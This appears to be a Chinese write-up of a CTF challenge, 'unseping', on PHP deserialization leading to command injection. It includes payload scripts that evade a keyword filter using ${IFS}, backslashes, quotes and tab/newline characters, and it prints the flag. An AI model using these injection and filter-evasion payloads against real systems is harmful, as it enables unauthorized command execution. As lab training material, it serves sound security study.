序列化绕过-攻防世界-unseping

一、打开环境,浮现源码

php 复制代码
<?php
highlight_file(__FILE__); //高亮显示文件
 
class ease{ //创建 名称为 "ease" 的类
    
    private $method; //创建一个私有成员变量 method (私有成员变量只能在类内访问)
    private $args;   //创建一个私有成员变量 arg
    function __construct($method, $args) { //初始化对象 method、args
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ //在脚本关闭时执行以下语句
        if (in_array($this->method, array("ping"))) { //如果 数组ping中存在method的值
            call_user_func_array(array($this, $this->method), $this->args); //返回回调函数的结果
        }
    } 
 
    function ping($ip){ //数组ping(变量ip)
        exec($ip, $result); //执行外部程序:查看ip
        var_dump($result); //输出ip查询结果
    }
 
    function waf($str){ //防火墙(变量str)
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str; //如果str中不含有上述字符,返回函数
        } else {
            echo "don't hack"; //否则的话,输出"don't hack"
        }
    }
 
    function __wakeup(){ //当类在外部执行反序列化时,执行此方法
        foreach($this->args as $k => $v) { //遍历输入字符,传递到防火墙中检查
            $this->args[$k] = $this->waf($v);
        }
    }   
}
 
$ctf=@$_POST['ctf']; //传参变量为ctf,传参方法为post
@unserialize(base64_decode($ctf)); //反序列化(以Base64的形式解码变量ctf)
?>

二、考察点

常见的magic函数:

__construct()在对象创建时被调用;

__destruct()在php脚本结束时被调用;

__wakeup()在反序列化时被调用unserialize();

__toString()在对象被当作一个字符串使用时被调用。

代码逻辑:接收输入POST['ctf'] -> base64_decode -> unserialize -> __wakeup() -> waf()正则过滤args中的危险字符(, &, |, ;, , /, cat, flag, tac, php, ls) -> __dectruct()满足method='ping'条件时call_user_func_arry(ping(), args)-> ping(args) -> exec(args)执行命令。

漏洞利用思路:

(1)创建ease对象:method='ping', args='想要执行的命令'

(2)序列化ease对象,再经过base64_encode编码之后,通过post请求 ctf=""

三、构造payload

方法1:利用${IFS},\,""等绕过waf检测。

php 复制代码
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$obj = new ease("ping", array('l\s')); // 列出目录  array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
$obj = new ease("ping", array('l""s${IFS}fl""ag_1s_here')); //array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
$obj = new ease('ping', array('more${IFS}fl""ag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));//  "/"的八进制编码为\57,使用$(printf${IFS}"\57")内敛执行输出"/"到字符串中。

// 序列化并Base64编码
$ser = serialize($obj);
echo $ser;
echo "\n";
$b64 = base64_encode($ser);
echo $b64;
?>

方法2:\x09:制表符 \x0a 换行符 结合\ 绕waf

php 复制代码
<?php
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$obj = new ease("ping", array("cd\x09fl\ag_1\s_here\x0al\s"));//\x09:制表符  \x0a 换行符 因为preg_match_all方法是全局搜索
$obj = new ease("ping", array("cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp")); //array(2) { [0]=> string(5) " string(47) "//$cyberpeace{7f98528181769e05c04b7b6d89ddb5c7}" }

// 序列化并Base64编码
$ser = serialize($obj);
echo $ser;
echo "\n";
$b64 = base64_encode($ser);
echo $b64;
?>

方法3:

php 复制代码
$obj = new ease("ping", array('find')); // 列出目录里面的所有文件

将产生的序列化串通过post方法的ctf参数传递,即可出现flag。

waf拦截规则解读:if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", str, pat_array)),preg_match_all()执行全局正则表达式匹配,会搜索str中/(\\\|\|\&\|;\| \|\\/\|cat\|flag\|tac\|php\|ls)/的正则式匹配结果,并输出到pat_array中~

本题"/(\||&|;| |\/|cat|flag|tac|php|ls)/"是正则表达式,"//"表示字符串的开始与结束,\表示转义,|表示或运算;

禁掉的内容为①|(转义)②&③;④空格⑤/(转义)⑥cat⑦flag⑧tac⑨php⑩ls

\没有禁掉,所以构造payload的时候可以分割flag等字符串。

相关推荐
蓝之白13 小时前
流量分析_SnakeBackdoor-1~6
web安全·ctf·流量分析·逆向分析
蓝之白1 天前
Web15-网站被黑
web安全·ctf
777sea1 天前
CTFSHOW-2026元旦跨年欢乐赛-CS2026
ctf
给勒布朗上上对抗呀3 天前
FlaskSession伪造-攻防世界-catcat-new
flask·ctf
蓝之白4 天前
Web14-game1
web安全·ctf
print_Hyon4 天前
【CTF-WEB】原型链污染及Pug模板注入
ctf
print_Hyon4 天前
【CTF-APK】基于TRAE和jadx的MCP实现AI逆向分析APK文件
ctf
print_Hyon5 天前
【CTF-WEB】在线Lua执行器漏洞
lua·ctf
蓝之白5 天前
Vulnhub_DC-8
web安全·ctf·网络攻防·靶场渗透